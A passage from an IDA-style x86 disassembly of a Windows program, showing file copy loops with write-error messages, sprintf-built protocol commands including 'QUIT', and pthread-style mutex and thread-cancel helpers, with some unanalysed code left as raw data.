		add	esp, 10h
		test	esi, esi
		jle	loc_42E593


loc_42E4FA:				; CODE XREF: sub_42E400+11Fj
		mov	eax, [esp+14h+arg_C]
		push	eax
		push	esi
		push	edi
		call	sub_4021F3
		add	esp, 0Ch
		cmp	eax, esi
		jl	short loc_42E523
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jg	short loc_42E4FA
		jmp	short loc_42E593
; ---------------------------------------------------------------------------


loc_42E523:				; CODE XREF: sub_42E400+10Bj
		push	eax
		push	esi
		push	offset aShortWritePass ; "short	write: passed %d, wrote	%d\n"
		call	near ptr 77C4186Ah
		nop
		add	esp, 0Ch
		mov	[esp+14h+var_4], 0
		jmp	short loc_42E593
; ---------------------------------------------------------------------------


loc_42E53D:				; CODE XREF: sub_42E400+DAj
		mov	ecx, [esp+14h+arg_C]
		push	ecx
		push	2000h
		push	edi
		call	sub_402248
		add	esp, 0Ch
		cmp	eax, ebp
		jle	short loc_42E593
		mov	esi, dword_50FA94


loc_42E55A:				; CODE XREF: sub_42E400+17Dj
		push	ebx
		push	eax
		push	1
		push	edi
		call	esi	; fwrite
		add	esp, 10h
		test	eax, eax
		jbe	short loc_42E581
		mov	edx, [esp+14h+arg_C]
		push	edx
		push	2000h
		push	edi
		call	sub_402248
		add	esp, 0Ch
		cmp	eax, ebp
		jg	short loc_42E55A
		jmp	short loc_42E593
; ---------------------------------------------------------------------------


loc_42E581:				; CODE XREF: sub_42E400+166j
		push	offset aLocalfileWrite ; "localfile write"
		call	near ptr 77C36DF2h
		nop
		add	esp, 4
		mov	[esp+14h+var_4], ebp


loc_42E593:				; CODE XREF: sub_42E400+F4j
					; sub_42E400+121j ...
		push	edi
		nop
		call	near ptr 77C2C21Bh
		push	ebx
		nop
		call	near ptr 77C3EEF6h
		mov	eax, [esp+1Ch+arg_0]
		add	esp, 8
		test	eax, eax
		jz	short loc_42E5B6
		push	ebx
		call	near ptr 77C40AB1h
		nop
		add	esp, 4


loc_42E5B6:				; CODE XREF: sub_42E400+1AAj
		mov	eax, [esp+14h+arg_C]
		push	eax
		call	sub_401BDB
		mov	eax, [esp+18h+var_4]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42E400	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E650:				; CODE XREF: ___:0040169Fj
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	2
		push	eax
		push	ecx
		push	edx
		call	sub_42E400
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E680:				; CODE XREF: ___:00401D2Fj
		sub	esp, 108h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		mov	ebx, [esp+110h]
		push	ebp
		push	esi
		push	edi
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		mov	ebp, 1
		cmp	ecx, 100h
		jbe	short loc_42E6B7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E6B7:				; CODE XREF: ___:0042E6AAj
		movsx	eax, byte ptr [esp+124h]
		mov	edi, dword_50FA60
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset dword_445504
		push	ecx
		call	edi	; sprintf
		mov	esi, [esp+134h]
		lea	edx, [esp+24h]
		push	esi
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E6F8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E6F8:				; CODE XREF: ___:0042E6EBj
		push	ebx
		lea	eax, [esp+1Ch]
		push	offset dword_445708
		push	eax
		call	edi	; sprintf
		push	esi
		lea	ecx, [esp+28h]
		push	32h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jz	short loc_42E754
		lea	edx, [esp+10h]
		lea	eax, [esp+14h]
		push	edx
		push	eax
		add	esi, 44h
		push	offset dword_445700
		push	esi
		call	near ptr 77C41B72h
		nop
		add	esp, 10h
		cmp	eax, 2
		jnz	short loc_42E754
		mov	ecx, [esp+120h]
		mov	edx, [esp+10h]
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		mov	[ecx], edx
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E754:				; CODE XREF: ___:0042E717j
					; ___:0042E738j
		xor	ebp, ebp
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E7B0:				; CODE XREF: ___:004013BBj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	edi
		mov	edi, edx
		mov	ebx, 1
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		jbe	short loc_42E7E0
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E7E0:				; CODE XREF: ___:0042E7D5j
		push	esi
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_445714
		push	eax
		call	near ptr 77C3F931h
		nop
		mov	esi, [esp+128h]
		lea	ecx, [esp+18h]
		push	esi
		push	32h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E81B
		xor	ebx, ebx
		pop	esi
		mov	eax, ebx
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E81B:				; CODE XREF: ___:0042E80Bj
		mov	edx, [esp+118h]
		mov	eax, [esp+114h]
		add	esi, 48h
		push	edx
		push	esi
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E880	proc near		; CODE XREF: sub_4016A9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_C		= dword	ptr  10h

		movsx	eax, [esp+arg_8]
		mov	ecx, [esp+arg_C]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	3
		push	ecx
		push	edx
		push	eax
		call	sub_42E400
		add	esp, 14h
		retn
sub_42E880	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E8B0:				; CODE XREF: ___:004016C7j
		movsx	eax, byte ptr [esp+0Ch]
		mov	ecx, [esp+10h]
		mov	edx, [esp+8]
		push	eax
		mov	eax, [esp+8]
		push	4
		push	ecx
		push	edx
		push	eax
		call	sub_42E400
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E8E0:				; CODE XREF: ___:00401492j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42E979
		mov	ebx, [esp+114h]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42E979
		mov	esi, dword_50FA60
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_44572C
		push	eax
		call	esi	; sprintf
		mov	edi, [esp+124h]
		lea	ecx, [esp+18h]
		push	edi
		push	33h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jz	short loc_42E979
		push	ebx
		lea	edx, [esp+10h]
		push	offset dword_445720
		push	edx
		call	esi	; sprintf
		push	edi
		lea	eax, [esp+1Ch]
		push	32h
		push	eax
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E979:				; CODE XREF: ___:0042E901j
					; ___:0042E91Cj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E9C0:				; CODE XREF: ___:00401C67j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E9E9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E9E9:				; CODE XREF: ___:0042E9E0j
		push	edx
		lea	eax, [esp+4]
		push	offset dword_445738
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42EA40	proc near		; CODE XREF: sub_401D52j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+18h]
		test	eax, eax
		jnz	short loc_42EA79
		push	edi
		push	esi
		push	32h
		push	offset aQuit	; "QUIT"
		call	sub_42D1A0
		mov	eax, [esi+8]
		add	esp, 0Ch
		push	eax
		call	sub_436F06
; ---------------------------------------------------------------------------
		mov	ecx, [esi+14h]
		mov	edi, dword_50FAC4
		push	ecx
		call	edi	; free
		push	esi
		call	edi	; free
		add	esp, 8
		pop	edi


loc_42EA79:				; CODE XREF: sub_42EA40+Aj
		pop	esi
		retn
sub_42EA40	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EA90:				; CODE XREF: ___:0040219Ej
		push	edi
		mov	edi, [esp+8]
		test	edi, edi
		jnz	short loc_42EAA0
		mov	eax, 16h
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42EAA0:				; CODE XREF: ___:0042EA97j
		push	1Ch
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		test	eax, eax
		jnz	short loc_42EAB6
		mov	eax, 0Ch
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42EAB6:				; CODE XREF: ___:0042EAADj
		mov	ecx, 1
		mov	dword ptr [eax+8], 0
		mov	dword ptr [eax+0Ch], 0
		mov	dword ptr [eax+10h], 0
		mov	[eax+14h], ecx
		mov	[eax+18h], ecx
		mov	dword ptr [eax], 0C4C0FFEEh
		mov	[edi], eax
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EB10:				; CODE XREF: ___:00401514j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EB29
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EB29:				; CODE XREF: ___:0042EB20j
		mov	eax, [esi]
		mov	dword ptr [eax], 0
		mov	ecx, [esi]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EB60:				; CODE XREF: ___:004012D5j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		mov	eax, [esp+0Ch]
		jnz	short loc_42EB85
		test	eax, eax
		jz	short loc_42EB85
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+0Ch]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42EB85:				; CODE XREF: ___:0042EB74j
					; ___:0042EB78j
		mov	dword ptr [eax], 1
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EBB0:				; CODE XREF: ___:004013ACj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EBC9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EBC9:				; CODE XREF: ___:0042EBC0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_42EBDD
		cmp	eax, 1
		jz	short loc_42EBDD
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EBDD:				; CODE XREF: ___:0042EBCFj
					; ___:0042EBD4j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+0Ch], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC00:				; CODE XREF: ___:0040150Fj
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC20:				; CODE XREF: ___:00401825j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC40:				; CODE XREF: ___:00401348j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EC59
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EC59:				; CODE XREF: ___:0042EC50j
		mov	eax, [esi]
		mov	edx, [esp+0Ch]
		pop	esi
		mov	ecx, [eax+8]
		xor	eax, eax
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC80:				; CODE XREF: ___:004021E4j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EC99
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EC99:				; CODE XREF: ___:0042EC90j
		mov	eax, [esi]
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	[eax+8], ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ECC0:				; CODE XREF: ___:004019A1j
		mov	eax, [esp+4]
		mov	ecx, [eax]
		mov	eax, [esp+8]
		mov	edx, [ecx+18h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ECF0:				; CODE XREF: ___:0040199Cj
		mov	eax, [esp+8]
		sub	eax, 0
		jz	short loc_42ED12
		dec	eax
		jz	short loc_42ED02
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42ED02:				; CODE XREF: ___:0042ECFAj
		mov	eax, [esp+4]
		mov	ecx, [eax]
		xor	eax, eax
		mov	dword ptr [ecx+18h], 1
		retn
; ---------------------------------------------------------------------------


loc_42ED12:				; CODE XREF: ___:0042ECF7j
		mov	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ED30:				; CODE XREF: ___:00401C08j
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		test	ebx, ebx
		jz	loc_42EDCB
		mov	edi, [esp+18h]
		test	edi, edi
		jz	loc_42EDCB
		push	18h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_42EDC2
		mov	eax, [esp+14h]
		test	eax, eax
		jz	short loc_42ED70
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42ED70
		mov	eax, [eax]
		jmp	short loc_42ED72
; ---------------------------------------------------------------------------


loc_42ED70:				; CODE XREF: ___:0042ED64j
					; ___:0042ED6Aj
		xor	eax, eax


loc_42ED72:				; CODE XREF: ___:0042ED6Ej
		mov	[esi+4], edi
		mov	[esi], edi
		lea	edi, [esi+10h]
		push	0
		push	eax
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+8], 0
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EDB8
		push	eax
		mov	eax, [esi+0Ch]
		lea	ecx, [esi+14h]
		push	eax
		push	ecx
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EDAF
		mov	[ebx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EDAF:				; CODE XREF: ___:0042EDA7j
		push	edi
		call	sub_401686
		add	esp, 4


loc_42EDB8:				; CODE XREF: ___:0042ED92j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_42EDC2:				; CODE XREF: ___:0042ED5Cj
		pop	edi
		pop	esi
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EDCB:				; CODE XREF: ___:0042ED39j
					; ___:0042ED45j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EE10:				; CODE XREF: ___:004021E9j
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch]
		push	esi
		test	ebp, ebp
		push	edi
		jz	short loc_42EE78
		mov	esi, [ebp+0]
		test	esi, esi
		jz	short loc_42EE78
		lea	ebx, [esi+10h]
		mov	dword ptr [ebp+0], 0
		push	ebx
		call	sub_401686
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_42EE6E
		lea	eax, [esi+14h]
		push	eax
		call	sub_401686
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_42EE5F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EE5F:				; CODE XREF: ___:0042EE4Cj
		mov	ecx, [esi+0Ch]
		push	0
		push	ecx
		push	ebx
		call	sub_401C76
		add	esp, 0Ch


loc_42EE6E:				; CODE XREF: ___:0042EE3Aj
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EE78:				; CODE XREF: ___:0042EE1Aj
					; ___:0042EE21j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EEB0:				; CODE XREF: ___:00401799j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	loc_42EF64
		mov	esi, [eax]
		test	esi, esi
		jz	loc_42EF64
		push	ebp
		lea	ebp, [esi+8]
		push	edi
		push	esi
		mov	edi, [ebp+0]
		nop
		call	near ptr 275072Fh
		test	eax, eax
		jnz	short loc_42EEF7
		mov	eax, [esi+4]
		cmp	eax, 1
		mov	[esi], eax
		jbe	short loc_42EF44
		dec	eax
		push	eax
		lea	eax, [esi+edi*4+10h]
		push	eax
		call	sub_40204A
		add	esp, 8
		mov	esi, eax
		jmp	short loc_42EF40
; ---------------------------------------------------------------------------


loc_42EEF7:				; CODE XREF: ___:0042EED8j
		push	ebx
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	ecx, [eax+34h]
		mov	ebx, 1
		cmp	ecx, ebx
		jnz	short loc_42EF1B
		lea	ecx, [esp+14h]
		push	ecx
		push	ebx
		call	sub_40140B
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jz	short loc_42EF1D


loc_42EF1B:				; CODE XREF: ___:0042EF07j
		xor	ebx, ebx


loc_42EF1D:				; CODE XREF: ___:0042EF19j
		lea	edx, [esi+edi*4+10h]
		push	edx
		call	sub_401041
		add	esp, 4
		mov	esi, eax
		test	ebx, ebx
		pop	ebx
		jz	short loc_42EF40
		mov	eax, [esp+10h]
		push	0
		push	eax
		call	sub_40140B
; ---------------------------------------------------------------------------
		add	esp, 8


loc_42EF40:				; CODE XREF: ___:0042EEF5j
					; ___:0042EF2Fj
		test	esi, esi
		jnz	short loc_42EF5E


loc_42EF44:				; CODE XREF: ___:0042EEE2j
		mov	ecx, 1
		push	edi
		sub	ecx, edi
		push	ecx
		push	ebp
		call	dword_50E3FC	; InterlockedCompareExchange
		xor	edx, edx
		cmp	edi, eax
		setnz	dl
		dec	edx
		mov	esi, edx


loc_42EF5E:				; CODE XREF: ___:0042EF42j
		pop	edi
		mov	eax, esi
		pop	ebp
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF64:				; CODE XREF: ___:0042EEB7j
					; ___:0042EEC1j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EFA0:				; CODE XREF: ___:00401F50j
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42EFC3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42EFC3:				; CODE XREF: ___:0042EFB2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EFF0:				; CODE XREF: ___:00401A73j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_42F011
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_42F011
		push	eax
		mov	[ecx], esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F011:				; CODE XREF: ___:0042EFF9j
					; ___:0042EFFFj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F030:				; CODE XREF: ___:0040127Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F04D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42F04D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_42F04D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42F04D:				; CODE XREF: ___:0042F036j
					; ___:0042F03Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F070:				; CODE XREF: ___:0040162Cj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F09A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_42F09A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_42F08E
		test	eax, eax
		jnz	short loc_42F09A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_42F08E:				; CODE XREF: ___:0042F085j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_42F09A:				; CODE XREF: ___:0042F076j
					; ___:0042F07Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F0B0	proc near		; CODE XREF: sub_40140Bj
		push	esi
		push	edi
		call	sub_4012E4
sub_42F0B0	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
		dd 0E8532C5Eh, 0FFFD3151h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889304Eh, 7E89FF85h,	8B3E7530h, 0C0853446h, 568B3775h
		dd 90525738h, 321358E8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	0E8000000h, 2321487h, 0A4E85390h
		dd 6AFFFD1Fh, 2CAEE802h, 0C483FFFDh, 94E85308h,	83FFFD1Fh
		dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F170:				; CODE XREF: ___:0040223Ej
		push	ebx
		push	esi
		call	sub_4012E4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
		dd 0E8572C7Eh, 0FFFD3091h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889344Eh, 8930468Bh,	0C085345Eh, 0DB853B75h,	568B3775h
		dd 0E8525338h, 2321299h, 75C08590h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 3213C6E8h, 0E4E85702h
		dd 6AFFFD1Eh, 2BEEE802h, 0C483FFFDh, 0D4E85708h, 83FFFD1Eh
		dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h,	0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F230	proc near		; CODE XREF: sub_401CEEj
		push	esi
		push	edi
		call	sub_4012E4
sub_42F230	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 2C7E8DF0h, 2FE3E857h, 0C483FFFDh, 74F68504h,	307E8334h
		dd 8B2E7401h, 6A3846h, 0FAE89050h, 85023211h, 571E75C0h
		dd 30C46C7h, 0C7000000h, 13046h, 50E80000h, 6AFFFD1Eh
		dd 2B5AE802h, 0C483FFFDh, 40E85708h, 83FFFD1Eh,	5E5F04C4h
		dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F2B0:				; CODE XREF: ___:00401D25j
		sub	esp, 2D0h
		push	esi
		mov	esi, [esp+2D8h]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		mov	[esp+4], eax
		test	eax, eax
		jnz	loc_42F3E9
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42F2EB
		mov	eax, 0Ch
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F2EB:				; CODE XREF: ___:0042F2DCj
		push	ebx
		push	ebp
		push	edi
		push	eax
		push	esi
		call	sub_401A50
		lea	ebx, [esi+2Ch]
		mov	edi, eax
		push	ebx
		call	sub_402225
		mov	eax, [esi+34h]
		add	esp, 0Ch
		test	eax, eax
		mov	ebp, 3
		jnz	loc_42F3C2
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	loc_42F3C2
		cmp	[esi+0Ch], ebp
		jge	loc_42F3D5
		test	edi, edi
		jz	short loc_42F354
		push	ebx
		mov	[esi+0Ch], ebp
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		mov	eax, [esp+18h]
		add	esp, 8
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F354:				; CODE XREF: ___:0042F329j
		mov	edi, [esi+4]
		push	edi
		nop
		call	near ptr 274087Bh
		push	0
		push	edi
		call	near ptr 2750455h
		nop
		cmp	eax, 102h
		jnz	short loc_42F3E2
		lea	eax, [esp+14h]
		mov	[esi+0Ch], ebp
		push	eax
		push	edi
		mov	dword ptr [esi+30h], 1
		mov	dword ptr [esp+1Ch], 10001h
		nop
		call	near ptr 2740A07h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+0CCh], offset loc_42F460
		push	ecx
		push	edi
		nop
		call	near ptr 2740C3Ah
		push	ebx
		call	sub_4010C3
		add	esp, 4
		push	edi
		nop
		call	near ptr 2750000h
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F3C2:				; CODE XREF: ___:0042F30Dj
					; ___:0042F318j
		cmp	[esi+0Ch], ebp
		jge	short loc_42F3D5
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 27502A3h
		test	eax, eax
		jnz	short loc_42F3D9


loc_42F3D5:				; CODE XREF: ___:0042F321j
					; ___:0042F3C5j
		mov	[esp+10h], ebp


loc_42F3D9:				; CODE XREF: ___:0042F3D3j
		push	ebx
		call	sub_4010C3
		add	esp, 4


loc_42F3E2:				; CODE XREF: ___:0042F36Cj
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx


loc_42F3E9:				; CODE XREF: ___:0042F2CFj
		pop	esi
